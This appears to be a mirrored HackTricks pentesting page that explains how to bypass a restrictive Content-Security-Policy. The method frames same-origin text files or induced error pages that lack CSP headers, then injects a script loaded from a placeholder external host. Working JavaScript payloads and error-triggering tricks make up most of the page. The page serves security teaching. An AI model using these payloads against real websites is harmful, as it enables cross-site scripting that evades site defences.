mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
93 lines
4.5 KiB
Markdown
93 lines
4.5 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|
|
A configuration such as:
|
|
|
|
```
|
|
Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
|
```
|
|
|
|
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
|
|
|
|
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
|
|
|
|
### Via Text & Images
|
|
|
|
It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:
|
|
|
|
```javascript
|
|
frame=document.createElement("iframe");
|
|
frame.src="/css/bootstrap.min.css";
|
|
document.body.appendChild(frame);
|
|
script=document.createElement('script');
|
|
script.src='//example.com/csp.js';
|
|
window.frames[0].document.head.appendChild(script);
|
|
```
|
|
|
|
### Via Errors
|
|
|
|
Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:
|
|
|
|
```javascript
|
|
// Inducing an nginx error
|
|
frame=document.createElement("iframe");
|
|
frame.src="/%2e%2e%2f";
|
|
document.body.appendChild(frame);
|
|
|
|
// Triggering an error with a long URL
|
|
frame=document.createElement("iframe");
|
|
frame.src="/"+"A".repeat(20000);
|
|
document.body.appendChild(frame);
|
|
|
|
// Generating an error via extensive cookies
|
|
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
|
|
frame=document.createElement("iframe");
|
|
frame.src="/";
|
|
document.body.appendChild(frame);
|
|
// Removal of cookies is crucial post-execution
|
|
for(var i=0;i<5;i++){document.cookie=i+"="}
|
|
```
|
|
|
|
After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
|
|
|
|
```javascript
|
|
script=document.createElement('script');
|
|
script.src='//example.com/csp.js';
|
|
window.frames[0].document.head.appendChild(script);
|
|
```
|
|
|
|
|
|
## References
|
|
|
|
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|